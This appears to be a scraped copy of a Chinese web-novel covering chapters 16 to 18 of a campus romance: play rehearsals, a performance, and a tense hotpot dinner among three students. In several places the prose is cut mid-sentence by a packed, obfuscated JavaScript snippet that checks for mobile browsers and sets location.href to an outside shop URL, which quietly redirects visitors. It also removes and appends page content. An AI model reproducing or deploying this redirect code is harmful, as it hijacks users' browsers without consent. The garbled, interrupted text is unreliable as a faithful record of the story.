“行,站那边等着,等人齐了再说。” 谢予青站到墙角,掏出手机看。 陆陆续续又来了几个人,有人认识有人不认识,人一多就显得格外嘈杂,空气里飘起淡淡的尘土味。 “人齐了。”赵学姐拍手,“剧本大家看一下,先通读一遍。” 谢予青接过传过来的剧本,薄薄几页纸,标题写着《实验室奇妙夜》。她翻了翻,故事讲的是几个学生在实验室熬夜,不小心打翻了试剂,引发了一连串乌龙事件。 她演的角色叫“同学乙”,两句台词,一句是“哎呀”,另一句是“那怎么办”。 挺好,不用怎么演。 大家站成一圈,开始念台词。 有人念得生硬,有人念得夸张,谢予青老老实实念了自己的两句。 赵学姐听完,没评价,直接说:“再来一遍。” 第二遍,第三遍。 第四遍的时候,谢予青已经开始无聊了。她靠在墙上,眼睛盯着剧本上的字,耳朵听着别人念。 念到某个地方,门被推开,乾珩走了进来。 谢予青愣了一下。 乾珩也看到了她,跟着一愣,然后笑了。 赵学姐转头看他:“乾珩?你们建筑系的排练在隔壁,你走错了。” “知道,路过,看一眼。”乾珩说着,目光又扫了谢予青一眼,然后关上门走了。 林晓凑到谢予青旁边,压低声音:“认识?” “认识。” “挺帅的。” 谢予青笑了笑,没接话。 排练继续。 又念了几遍,赵学姐让人开始走位。 谢予青站在舞台左侧,跟着指示走到指定位置,说完台词,站在原地不动。 “同学乙,你走过去的时候自然一点,像真的在走路,不是在走正步。” 谢予青点点头,又走了一遍。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17514387|203121||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “再来一遍。” 又走了一遍。 “好,过关。今天到这儿,明天同一时间继续。” 谢予青松了口气,拿起书包往外走。 走廊里几个教室都亮着灯,路过门口,可以看到里边人影幢幢,排练话剧的,排练合唱的,甚至还有排练武术的。 走到楼梯口的时候,身后有人叫她。 “谢予青。” 她回头,看到乾珩从旁边教室出来,手里拿着一个剧本。 “你也演话剧?”他问。 “嗯,一个路人甲。”她挑眉,“你也是?” 乾珩笑了,“是。” 两个人一起下楼。 楼梯间里灯光昏黄,墙上贴满了各种社团海报,乾珩走在她左边,脚步不快不慢。 “你膝盖好了吗?”他问。 “早好了。” “那就好。” 出了活动中心,风迎面扑来。 谢予青缩了缩脖子,把羽绒服拉链拉到最上面。乾珩走在旁边,也裹紧了外套。 “你往哪个方向?”他问。 “南门那边。” “顺路,一起。” 两个人沿着主干道往南走。路灯亮了,橘黄色的光照在地上,把影子拉得又长又淡。路上学生不多,偶尔有骑自行车的人从身边经过。 “你们排练排多久?”乾珩问。 “说是一个多星期,戏份不多。” “我也是,建筑系那边出了个独角戏,我演一个失眠的建筑师。” 谢予青看了他一眼,有些吃惊,“独角戏,台词很多吧?” “还行,就是自言自语,神神叨叨的。” 谢予青笑了起来,乾珩也笑。 走到岔路口,乾珩指了指左边,“我往这边,明天见。” “明天见。” 两个人分开,谢予青继续往南走。走出几步,回头看了一眼,乾珩的背影已经走远了,融进夜色里。 第二天下午四点,谢予青准时到了活动中心。 赵学姐已经在了,正在调整道具位置。 谢予青放好书包,站到自己的位置上。 今天排练的是完整的一遍,从开场到结束,中间不停。 “开始。” 每个人开始各就各位。谢予青等了一会儿,走到指定位置,说出自己的两句台词。 “哎呀。” “那怎么办。” 说完,退到一边。 一遍结束,赵学姐指出几个问题,重新来。 第二遍,第三遍。第三遍的时候,谢予青的台词说完,退到墙角等着。门被推开一条缝,乾珩的脸出现在门缝里。 他看到谢予青,点了个头,又把门关上了。 排练结束,谢予青收拾东西往外走。 乾珩刚好也从隔壁教室出来。 “今天怎么样?” “还行,还是那两句。” “我那边台词加了三页。” 谢予青看他,他笑了笑,看不出抱怨的意思。两个人一起下楼,一起走了一段路,在岔路口分开。 第三天,第四天,第五天。 每天都是同样的节奏。下午排练,谢予青念两句台词,走几下位置。乾珩在隔壁排练,结束之后两个人一起走一段路,聊几句,然后分开。 第六天,谢予青到得早了一点。 教室里还没人,她自己走了一遍位置,站到窗户边往外看,窗外是一排杨树,叶子掉光了,光秃秃的枝丫在风里晃。 门被推开,她以为是排练的其他同学来了,转头一看,是乾珩。 “来早了?”他问。 “嗯,你呢?” “隔壁没人,过来坐会儿。” 16. 第 16 章 乾珩走进来,坐到第一排的椅子上,翻开手里的剧本看。 谢予青转回去继续看窗外,教室里很安静,隐隐传来远处操场上的哨声。 过了一会儿,谢予青问他:“你准备的怎么样了?” 乾珩合上剧本,“还好,应该没什么大问题。” 谢予青叹口气:“我总感觉我还差点什么,虽然就两句台词,学姐也没说什么,可我总觉得她也不是很满意。” 乾珩把手里的剧本卷起来,在手背上拍了拍,“你说一下你的台词,我听听。” 谢予青清了清嗓子,把那两句台词说了一遍。 乾珩听完后,皱眉想了想,“你的台词要加感情。” 谢予青转头,“加什么感情?” “你那两句台词,前面是看到实验失败的反应,后面是听到问题之后的反应,感情不一样。” 谢予青想了想,“第一句是惊讶,第二句是着急。” “对,你念得太平了,惊讶的时候语气往上走,着急的时候语速快一点。” 谢予青试着念了一遍,“哎呀。” “那怎么办。” 乾珩听完,摇头,“惊讶不够,你想象一下,你做了三个月的实验,最后一秒失败了,什么感觉?” 谢予青闭上眼,想象了一下。 试管里的液体颜色不对,数据跟预期差了一大截,三个月的努力白费了。她睁开眼,念了一句。 “哎呀。” 这次声音大了一点,语气里带了一点真切的懊恼。 乾珩点头,“这个好,第二句再快一点。” “那怎么办?” “再快。” “那怎么办?” “好,就这个。” 谢予青又念了两遍,把节奏和语气固定下来。 乾珩靠在椅背上,看着她念,嘴角带着一点笑意。 “你是学建筑的,怎么对演戏这么懂?”谢予青问。 “之前选修过一门戏剧欣赏,老师讲了不少表演的东西。” “有用吗?” “有点用,至少知道怎么念台词不尴尬。” 谢予青笑了。 门被推开,赵学姐走进来,看到乾珩愣了一下,“你又来串门?” “路过,走了。”乾珩站起来,拿着剧本往外走。 走到门口,回头看了谢予青一眼,出去了。 赵学姐看着关上的门,转头看谢予青,“你们很熟?” “还行。” 赵学姐没再问,开始招呼大家排练。 第七天。 谢予青到了活动中心,在楼梯上遇到了乾珩,他正往上走,抬头看到她,侧身让了让。 “你先。” “你先。”谢予青说。 乾珩没客气,继续往上走。谢予青跟在他后面,看到他毛衣领口露出一点白色衬衫的边,头发刚洗过,有一股淡淡的洗发水味道。 “今天你的独角戏第几场了?”她问。 “第三场,还有两场。” “背下来了?” “差不多了。” 走到三楼,两个人在走廊分开。乾珩进了左边的教室,谢予青进了右边。 今天的排练比之前紧凑。 赵学姐开始抠细节,除了动作,还要走位和表情。谢予青的两句台词被反复打磨了好几遍,每一遍微调一点。 “同学乙,你说‘那怎么办’的时候,身体往前倾一点,表现着急。” 谢予青试了一下。 “好,就这样。” 排练结束,天已经黑了。 谢予青收拾东西往外走,在走廊上没看到乾珩,她站了两秒,准备下楼,隔壁教室的门开了。 乾珩出来,手里拿着水杯。 “刚去打水了。”他晃了晃杯子。 两个人一起下楼。 经过二楼的时候,楼道的灯坏了,一片漆黑。谢予青脚步慢下来,乾珩在前面走了两步,停下来。 “慢点,地板不平。” “嗯。” 两个人摸黑走了一段,到了楼梯拐角,灯光重新亮起来。乾珩回头看了她一眼,转回去继续走。 出了活动中心,风比前几天更大了。 谢予青往上拉了拉围巾,呼出的白气在路灯下看得清清楚楚。 走到岔路口,乾珩说了明天见,往左边走了。谢予青站在原地,看着他走远,转身往右走。 回到宿舍,唐笑正在床上敷面膜。 “回来了?” “嗯。” “排练怎么样?” “还行,就那两句台词。” 唐笑翻了个身,脸上的面膜差点掉下来,“你知道我今天碰到谁了吗?李奕,他说夏听北最近不对劲,整天冷着脸,谁都不理。” 谢予青没说话,坐到床上开始换衣服。 “他说夏听北以前虽然不爱说话,但也不至于这样,现在跟谁都不说话,上课坐在最后一排,下课直接走人,连苏昭昭来找他,他都爱答不理的。” 谢予青换好睡衣,躺到床上。 “你就不好奇?”唐笑问。 “不好奇。” 唐笑无奈耸耸肩,没再说话。 谢予青闭上眼睛。 脑子里想起乾珩刚才在楼梯上回头看她那一瞬间,橘黄色的灯光打在他脸上,目光温柔又专注。 她翻了个身,把被子拉到下巴。 第八天。 下午排练前,谢予青早到了半个小时。 她走进教室,发现乾珩已经在了,他坐在椅子上,低着头看剧本,阳光从窗户照进来,落在他身上。 “又来早了?”谢予青问。 乾珩抬头,笑道:“反正也没事。” 谢予青放下书包,走到窗户边站着。 今天天气好,阳光暖洋洋的,照在脸上很舒服。 “坐着等吧,站着多累。”乾珩说。 谢予青想了想,坐到了他旁边那一排椅子上。两个人隔了一个空位,各自安静。 门被推开,几个同学走进来,乾珩站起来,拿起剧本。 “我先过去了。” “嗯。” 排练开始,赵学姐今天特别严格,每一个动作每一个表情都要反复纠正。 谢予青的两句台词虽然简单,但走位被调整了好几次。 她不厌其烦地重复,直到赵学姐满意。 “好,今天就到这里,明天最后一次排练,后天正式演出,大家打起精神。” 大家鼓掌,收拾东西往外走。 谢予青走到走廊上,隔壁教室的门也开了。乾珩出来,脸上带了一点疲惫。 “怎么了?”谢予青问。 “台词加了一段,又要重新背。” 谢予青笑了,“加油。” 两个人一起下楼。 今天没有走老路,乾珩带她走了另一条路,经过学校的小花园,花园里的花早谢了,只剩下光秃秃的枝干和干枯的草丛。 “这条路近一点。”乾珩说。 “你经常走?” “嗯,去食堂走这条路快。” 两个人并肩走着,经过一棵老槐树的时候,乾珩停下来,指了指树干。 “这棵树有三百多年了,学校建校之前就在。” 谢予青走过去,伸手摸了摸树干。 树皮粗糙,沟壑很深,带着时间的质感。 “你怎么知道的?” “选修课老师讲的,说这棵树是学校的标志,不能动。” 谢予青仰头看了看树冠,光秃秃的枝丫在风中瑟瑟发抖。 “好看。”她说。 乾珩站在旁边,也仰头看着树。 “到了春天,这棵树发了芽,更好看。” 谢予青想象了一下,满树嫩绿的样子,风吹过来,叶子沙沙响。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“建筑系的人来了。”林晓在旁边说,“他们是第三个节目。” “嗯。” “那个戴眼镜的好帅,叫什么来着?”林晓看着乾珩的背影,有些星星眼。 “乾珩。”谢予青简单说。 “你们认识?”林晓有点好奇。 “认识。”谢予青还是说得很简单。 林晓看了她一眼,想说什么,赵学姐在前面喊了一声,大家赶紧归位。 第一个节目开始了。 舞台上传来音乐声,很热闹,像是歌舞类的。 后台的人安静下来,听着前面的动静,有人趴在门缝往外看,回来汇报情况。 “校领导都在第一排,校长也来了。” “好紧张。” “别紧张,就当下面全是地里种的白菜!” 大家哄笑起来,笑声很快被前面的音乐盖过去。 第一个节目结束,掌声响起来。 工作人员开始安排第二个节目的人上场,后台的人流动起来,下台的上台的,走廊上挤成一团。 谢予青往旁边让了让,靠在墙上,乾珩从人群里走过来,站到她旁边。 他已经换好了上台要穿的西服,是一套睡衣,头发乱糟糟的,看起来倒是挺像一个失眠者的样子。 “紧张吗?”他问。 “不紧张,反正就两句台词而已,你呢?” “有点。”乾珩低头看了看睡衣,“第一次在大庭广众之下穿这种衣服。” “很好看。” 乾珩有些不好意思地笑了。 17. 第 17 章 “第三个节目准备!”工作人员喊了一声。 乾珩把手里的节目单折了一下,塞进口袋。 他看了谢予青一眼,“我先上了。” “加油。”谢予青握紧拳头放在胸前。 乾珩突然伸手跟她碰了碰拳,没等她反应过来,转身走了。 他走到舞台入口处,整了整衣服,深吸一口气。灯光打在他身上,把他的影子投在侧幕上。 音乐响起,主持人报幕。 “下面请欣赏,建筑系选送,独角戏《失眠者的夜晚》。” 舞台上灯光暗下来,只剩下追光灯亮着。 乾珩从侧幕走出来,手里拿着一个空杯子。 台下安静了。 谢予青站在后台侧幕后面,透过幕布的缝隙看着舞台上的乾珩。他走到舞台中央的沙发前,坐下来,把杯子放在茶几上。 然后仰头看着天花板,一动不动。 静了几秒。 他开始说话了。 说的是一个建筑师连续加班三周之后,终于可以休息了,却怎么也睡不着。 他数羊,数到一千只,羊全都变成了建筑模型。 他喝牛奶,喝完发现牛奶过期了,他躺在床上翻来覆去,身子故意扭的幅度很大,床板发出吱吱嘎嘎的声音。 台下有人笑。 乾珩继续演。 他从沙发上站起来,走到窗前,拉开窗帘。 追光灯模拟月光照在他脸上,他的表情从烦躁变成平静,从平静变成茫然,从茫然变成一种说不清的东西。 “窗户外面有一棵树。”他语气很轻,“白天的时候不觉得它好看,叶子很普通,树枝也没什么特别,到了晚上,路灯照在上面,影子投在天花板上,风一吹,影子就晃,影子晃的时候,有人在失眠,这座城市里,还有谁醒着?” 台下安静极了。 乾珩转过身,走回沙发前,坐下来。 “没有人回答我。”他说。 然后他闭上了眼睛。 追光灯慢慢暗下来,舞台陷入黑暗。 过了几秒,灯又亮了,乾珩还坐在那里,睁开眼睛,看着前方。 “天亮了。”他说。 谢予青站在侧幕后面,心跳重了一下。 掌声响起来,比第一个节目响得多。 台下甚至还有人叫好。 乾珩站起来,对着台下鞠了一躬,然后转身走回侧幕。 经过谢予青的时候,他脸上还带着台上的余韵,眼神里有一点没来得及收回的东西,谢予青看着他,不知道该说什么。 乾珩倒是先开口了,“怎么样?” “很好。”谢予青还沉浸在剧情中,整个人都有些傻傻的。 乾珩笑了笑,他没再说话,从谢予青身边走过去,到后台换衣服了。 谢予青站在原地,看着他的背影消失在走廊尽头。 第四个节目开始了,音乐很吵,架子鼓的声音咚咚响。 后台的人又开始忙碌,道具被搬来搬去,有人在喊“灯光那边再确认一下”。 林晓跑过来,拽了拽谢予青的袖子。 “该我们准备了,去那边候场。” 谢予青跟着她走到舞台入口处。 前面第四个节目还在演,是个乐队,主唱声音沙哑,唱一首谢予青没听过的歌。 台下有人跟着节奏拍手,气氛很热。 第五个节目,第六个节目。 时间过得很快。 谢予青站在侧幕,手里捏着剧本,其实就两句台词,怎么也不会忘记,但拿着剧本心里还是踏实。 她听着前面的声音,一个节目结束,掌声响起,下一个节目开始,掌声再响起。 “第七个节目准备!” 赵学姐跑过来,最后确认了一遍人员。 谢予青把剧本塞进口袋,站到自己的位置上。 “生科院,话剧《实验室奇妙夜》。” 舞台灯光亮起来。 布景是一间实验室,桌上摆着烧杯试管显微镜,墙上贴着元素周期表。几个演员已经就位,谢予青站在舞台左侧,等着自己的出场时机。 剧情推进。 前面几个演员在台上忙活,做实验,记录数据,突然有人打翻了试剂瓶,顿时一阵手忙脚乱。 台下有笑声,不算多,稀稀拉拉的。 轮到谢予青了。 她走到舞台中央,看着桌上一个倒扣的烧杯,说出了自己的第一句台词。 “哎呀。” 声音不大,语气里带着懊恼。旁边的演员接话,问她怎么回事,她身体前倾,语速快了一些,表情夸张,“那怎么办?” 这句说完,台下很多人都笑了。 谢予青退到一边,后面的剧情继续推进。 她在舞台上待了不到一分钟,台词一共两句,走位一共三次。 灯光很亮,台下的人脸模糊一片,什么都看不清。 她按照排练的节奏走完自己的部分,退到舞台最边上,等着谢幕。 灯光暗下来。 掌声响起来。 谢予青跟着大家一起走到舞台中央,鞠躬,灯光打在身上,有点热,她直起身的时候,目光扫过台下,黑压压的人头,什么也没看清。 回到后台,林晓冲过来。 “演得好!” 谢予青笑了一下。 赵学姐也走过来,点点头,说了一句“不错”。 旁边几个同学围过来,七嘴八舌地说刚才哪个地方好笑哪个地方差点笑场。有人把假发取下来,头发乱成一团,惹得大家又笑了一阵。 谢予青去更衣室换下实验服,把平光眼镜摘了,头发散下来,用梳子梳了几下。 镜子里的人恢复了平时的样子,她对着镜子看了一眼,转身出了更衣室。 走廊上人少许多,很多人表演完就走了。 谢予青拎着书包往外走,经过拐角的时候,看到乾珩站在墙边。 他已经换回平时的衣服,手里拿着一瓶水,瓶盖拧开又拧上,反复好几次。 看到谢予青,他把水瓶盖拧紧,揣进口袋。 “演完了?” “演完了。” “去吃个饭?” 谢予青看了他一眼。 几秒钟后。 “好。”她说。 两个人一起往大门口走,还能听到身后其他节目的声响。 出了大门,谢予青惊喜地发现,外边居然下雪了。 她开心地冲出去,到了门口的小广场,伸出手接雪花。 乾珩笑着看她。 广场上空荡荡的,路灯照着纷纷扬扬的雪花,还有地上残留的彩纸屑。 零零星星几个人站在剧院正门口,谢予青和乾珩绕过人群,往台阶下走。 台阶下面的路灯旁边,站着一个人。 黑色大衣,没系扣子,里面是一件深色毛衣,围巾挂在脖子上,一头长一头短,风把短的那头吹得飘起来,头发被吹乱了,额头露出来。 是夏听北。 他站在那里,手里拿着手机,屏幕亮着,不知道在看什么。 看到谢予青和乾珩从台阶上走下来,他抬起头,视线从两个人身上依次扫过,最后落回到谢予青的脸上。 他把手机翻过去扣在手里。 谢予青看了他一眼,没停,继续往下走。 乾珩跟在旁边,也没停。 三个人之间的距离越来越短。 擦肩而过的时候,谢予青听到身后传来脚步声。 夏听北跟了上来。 谢予青没回头,继续往前走。 乾珩也没回头,三个人就这样走着,谢予青在左,乾珩在右,夏听北在后面一米远的地方。 走出广场,到了主 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17516608|203121||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 干道上。 路灯变密了,光照在地上,把三个人的影子拉得很长,前面的影子交叠在一起,后面的影子独自一个。 乾珩问:“去吃什么?” “随便。”谢予青说。 “后门那条街上有一家面馆,味道还行。” “行。” 后面的人没说话,脚步声还是不远不近。 又走了一段。乾珩的脚步慢了一下,侧过头,看了一眼身后,夏听北迎上他的目光,面无表情。 两个人对视了一秒,乾珩转回去,继续走。 走到后门那条街,两边的店铺大多关了门,只有几家还亮着灯。乾珩说的那家面馆也关了,卷帘门拉下来,上面贴着一张纸:元旦休息。 乾珩站住,看了看四周。 “火锅还开着。”他指了指街道尽头一家亮着灯的店。 “走吧。”谢予青说。 三个人继续往前走。 乾珩走在最前面,推开了火锅店的门。 店里的暖气扑面而来,带着牛油和麻酱的味道,老板在柜台后面记账,抬头看了一眼。 “几位?” 乾珩回头看谢予青,谢予青回头看身后。 夏听北站在门口,手插在大衣口袋里,脸上没什么表情。 “三位。”乾珩说。 老板把他们领到靠窗的位置。 一张方桌,四把椅子。 乾珩坐到靠墙那边,谢予青刚要坐到他旁边,夏听北已经坐了过去,谢予青看了看,只能坐到乾珩对面、夏听北旁边的位置。 三个人,各坐一边,空着一边。 服务员拿来菜单,问锅底要什么。 乾珩说要鸳鸯锅吧,谢予青说好,夏听北嗯一声,服务员又问要什么饮料,乾珩说那就酸梅汤吧,谢予青说好,夏听北又嗯一声。 乾珩有点无奈,低头笑了几下,笑得肩膀一耸一耸的。 服务员拿着菜单走了。 桌上安静下来。 乾珩拿起桌上的纸巾盒,抽了张纸,叠了一个小方块放在谢予青面前。 谢予青看了他一眼,乾珩笑了笑,又给自己叠了一个。 夏听北坐在旁边,什么都没做,就坐在那里。 他的大衣没脱,围巾也没解,整个人缩在黑色的衣服里。 酸梅汤先端上来,三杯。 谢予青端起杯子喝了一口,太甜了,又放回去。 乾珩也喝了一口,皱了皱眉,放下,夏听北没动杯子,从始至终,手插在口袋里,没拿出来过。 锅底端上来,红油翻滚,白汤咕嘟咕嘟冒泡。 菜也端上来了,羊肉牛肉各两盘,蔬菜拼盘一份,还有几样丸子。 乾珩拿起筷子,先往白汤里下了几片羊肉,又把几片牛肉放进红油锅。 谢予青看着他的动作,等着肉熟。 “刚才的独角戏,你演得真好。”她对乾珩说。 “你那两句台词也很好。”乾珩笑了,“我看台下有人笑了。” “就两句,也没什么好演的。” “两句也有两句的演法。” 两个人笑了起来。 坐在旁边的人动了。 夏听北从口袋里拿出手,拿起筷子,夹了一片红油锅里的牛肉,放到谢予青碗里。 谢予青低头看着碗里的那片牛肉。 “我自己来就行。”她说。 夏听北没说话,又夹了一片,放到自己碗里。 乾珩看了一眼那块牛肉,没说什么,把自己煮的那几片羊肉捞起来,夹了一片放到谢予青碗里。 “尝尝这个,白汤的,不辣。” 谢予青看了一眼碗里的两片肉,一片羊肉一片牛肉,并排躺在一起。 她先吃了羊肉,又吃了牛肉。 “羊肉好吃。”她说。 夏听北的筷子顿了一下。 18. 第 18 章 乾珩笑着看她,“喜欢就多吃点。” 他又夹了几片羊肉放进谢予青碗里。 谢予青低下头,吃肉。碗里的羊肉还没吃完,一双筷子又伸过来,夹了一根青菜,是夏听北的手。 谢予青抬头看他。 夏听北没看她,正在往锅里下丸子。 乾珩也往锅里下了点东西,一盘金针菇,倒进去的时候散开了,金针菇在红油里翻滚,白汤那边也有几根飘了过去。 谢予青吃完了羊肉和青菜,又夹了几片牛肉自己煮。 锅里的东西越来越多,红油汤咕嘟咕嘟冒着泡,白汤那边也在沸。 热气升起来,熏得窗户玻璃蒙了一层白雾。 没人说话。 吃了一会儿,乾珩放下筷子。 “刚才在台上,走到第三场的时候,我忘了一句台词。” 谢予青抬头看他。 “大概两秒钟,很快接上了。”乾珩用纸巾擦了一下嘴角,“台下应该没人发现。” “我发现了。”谢予青眨眨眼,“你走到窗前的时候,停了一拍。” 乾珩看她一眼,眼睛里满是诧异,“你注意到了?” “嗯。” “说明你认真看了。” “因为你演得很好啊。”谢予青笑着说。 旁边传来一声轻响,夏听北把筷子放在碗上,端起酸梅汤喝了一口,又放下。 两个人都看着他。 “你们聊。”他说了进店以来的第一句话。 谢予青看了他一眼。 夏听北靠在椅背上,大衣还是没脱,围巾还是没解,脸上没什么表情,嘴角的线条紧绷着。 乾珩没有接话。 他拿起火锅漏勺,捞了点丸子,分给谢予青一些,自己留了一些。 “丸子熟了。”他说。 谢予青夹起丸子,咬了一口,鱼丸,里面有馅,一咬烫了一下。 “小心,烫。”乾珩说。 谢予青吸了一口气,把丸子咽下去。 夏听北从旁边递过来一张纸巾,搁在她手边。 谢予青拿起纸巾擦了擦嘴。 “谢谢。” 夏听北点了一下头。 三个人继续吃。 炉火旺,锅里的汤一直在沸,桌上的菜慢慢变少,两盘肉很快见底,蔬菜拼盘也快没了。 夏听北的手机突然震动起来。 他掏出来看了一眼,屏幕上显示着一个名字。 谢予青没看到是谁,只看到他的拇指在屏幕上方停了一秒,然后他把手机翻过去扣在桌上,屏幕朝下。 手机又震了第二下,第三下。 夏听北没碰手机,夹了一片白菜放进锅里。 谢予青看着他,心里动了一下。 旁边乾珩在说什么,她没太听清,应了一声,乾珩看她心不在焉,没再说,低头吃东西。 手机不震了。 安静了几秒,又震了,这次是嗡嗡嗡连续好几下,像是有电话打进来。 夏听北把手伸进口袋,按了一下,震动停了。 他把手拿出来,继续夹菜。 桌上的气氛变了。 乾珩不再说话,谢予青也不知道该说什么,夏听北本来就什么都不说。 肉片在水面翻滚,丸子沉下去又浮上来,金针菇缠在一起分不开。 谢予青夹了一筷子牛肉,蘸了调料,吃进嘴里。 乾珩站起来,“我去加点水。” 他拿着桌上的水壶走到前台。 谢予青坐在座位上,低头看着碗里的调料,旁边的人动了动,椅子发出轻微的吱呀声。 夏听北把大衣脱了,搭在椅背上。 炉火烤着他的毛衣袖子,他往上挽了一圈,露出一截手腕。 手腕上什么都没戴,干干净净的。 乾珩回来了,给锅里加了水,也给自己杯子里倒了一点酸梅汤。他坐下来,看了看桌上剩下的菜。 “还够吃,不用再加了。” “嗯。”谢予青说。 乾珩看着她,“你是不是吃不下了?” “还能吃一点。” “别勉强,吃不完就放着。” 谢予青点点头。 手机又震了起来。 这一次,夏听北直接关了机,他把手机屏幕朝下扣在桌上,推到一边,拿起筷子继续吃。 乾珩看了一眼那个手机,视线收回来,落在对面的墙上。 墙上贴着一张海报,上面写着“本店特色”四个字,下面是一串菜名。 手机没再响了。 三个人安静地吃完了剩下的东西。 桌上剩了一点青菜和半盘丸子,没人再动。 夏听北把碗里最后一片肉吃完,放下筷子。 乾珩也放下筷子。 谢予青早就吃完了,坐在那里等。 “我来结账。”乾珩说。 “我来。”夏听北今晚第一次跟乾珩说话。 两个人对视了一秒。 谢予青先站起来,“我去前台结。” 她走到前台,报了桌号,扫码付款。回来的时候,两个人都站着,都穿好了外套。 乾珩手里拿着她的包。 “走吧。”谢予青说。 出了火锅店,雪还在下。 比之前大了,地上铺了一层薄薄的白,踩上去没有声音,路灯把雪照得发亮,空气里有种清冽的味道。 乾珩走在谢予青左边,夏听北走在谢予青右边,三个人并排,肩与肩之间隔着一段距离。 学校的铁门关了一半,只留了一扇小门。 主干道上的雪被踩实了,走上去有点滑。 到了岔路口,三个人在这里停下来。 乾珩看了谢予青一眼,“晚安。” “晚安。”谢予青说。 乾珩转身往左走了。 谢予青站在原地,看着他走远。 夏听北还站在右边,没走。 他的手插在大衣口袋里,雪落在他头发上,化了,又落了新的。 “你怎么不走?”谢予青问他。 夏听北看着她,路灯的光落在他脸上,一半亮一半暗,他的嘴动了动,没出声。 他转身往右走了。 走出去很远,远到身影快要被夜色吞没,他停下来,转过来,看着谢予青的方向。 隔着漫天飞舞的雪花,隔着几十米的距离,两个人对视了两秒。 夏听北转回去,继续走。 这次没再回头。 谢予青站在原地,直到那个黑色的小点消失在路的尽头。 她转回身,往宿舍走。 路上踩出来的雪印已经被新雪盖住了一半,模糊不清。 鞋底踩在雪上,发出吱吱的声音。 宿舍楼的灯还亮着,谢予青推门进去,暖气扑面而来。 她跺了跺脚上的雪,上楼。 推开门,唐笑在床上躺着看手机,郑圆圆在桌前吃零食,张文慧戴着耳机在看书。 “回来了?”唐笑先开口。 “嗯。” “演得怎么样?” “挺好。” “听说你们话剧挺搞笑的,早知道我去看了。” 谢予青脱下外套,挂到衣架上,拿出睡衣去洗漱。 回来的时候,唐笑还在看手机。 “李奕跟我说,夏听北今晚去剧院了。” 谢予青擦着头发的手顿了一下。 “李奕跟他一起去的。”唐笑翻了个身,面朝谢予青,“李奕说你们演完之后他就走了,苏昭昭的节目都没看。” 谢予青把毛巾挂在床头。 “苏昭昭是第几个?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17516727|203121||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “第十个。”唐笑说,“李奕说他拉夏听北留下来看,夏听北不肯,非要走。” 谢予青没说话。 郑圆圆从桌前转过头来,“你演完就走了?” “嗯,跟乾珩吃了个饭。” “乾珩?建筑系那个?” “嗯。” 郑圆圆看了唐笑一眼,唐笑看了郑圆圆一眼,两个人都没说话,张文慧戴着耳机没听到,还在看书。 谢予青爬上床躺下,把被子拉到下巴。 唐笑的手机亮了一下,她看了一眼,又看了谢予青一眼,犹豫了一下。 “李奕还说了一件事。” 谢予青闭着眼睛。 “他说苏昭昭在后台等夏听北,等了好久,没等到。” 安静了一会儿。 “哦。”谢予青说。 唐笑还想说什么,又把话咽回去,她关掉手机,翻了个身,面朝墙壁。 宿舍的顶灯灭了,窗外有风的声音,雪打在玻璃上,噼啪响了一下。 谢予青翻了个身,面朝墙。 手机震动。谢予青拿起来,看到乾珩发了一条消息:睡了吗? 她回:刚上床,你呢? 乾珩:我也是。 过了几秒,又来一条:今天的雪真大。 谢予青看着这条消息,下意识看向窗外,模模糊糊的能看到窗户外面雪还在下,路灯的光透过窗帘映进来。 她回了一个:嗯。 乾珩回了一个笑脸。 谢予青把手机放到枕头下面,闭上眼睛。 窗外的雪越下越大,落在窗台上,积了厚厚一层,风把雪吹起来,在空中打着旋,又落到别处。 整栋宿舍楼安静下来。 唐笑的呼吸变得均匀,郑圆圆也睡了,张文慧摘了耳机,把书放到桌上,关了台灯。 黑暗彻底落下来。 谢予青在黑暗里睁着眼睛。 刚才苏昭昭给夏听北打了那么多个电话,他一个都没接。 到底是为什么? 她伸出手,狠狠搓了下脸。 第二天,元旦。 谢予青醒了后,翻了个身,掀起床帘一角,眯着眼看了一眼窗户。 玻璃上蒙了一层白雾,外面的天是灰白色的,雪还在下。 她伸手摸到手机,按亮屏幕,上午十点。 宿舍里安安静静。 唐笑应该还在睡,拉着帘子,一点动静没有。 郑圆圆的床上没人,被子叠了一半,另一半摊在床上。 张文慧戴着耳机坐在桌前看书,台灯开着,照亮面前摊开的课本。 谢予青坐起来,头发乱成一团。 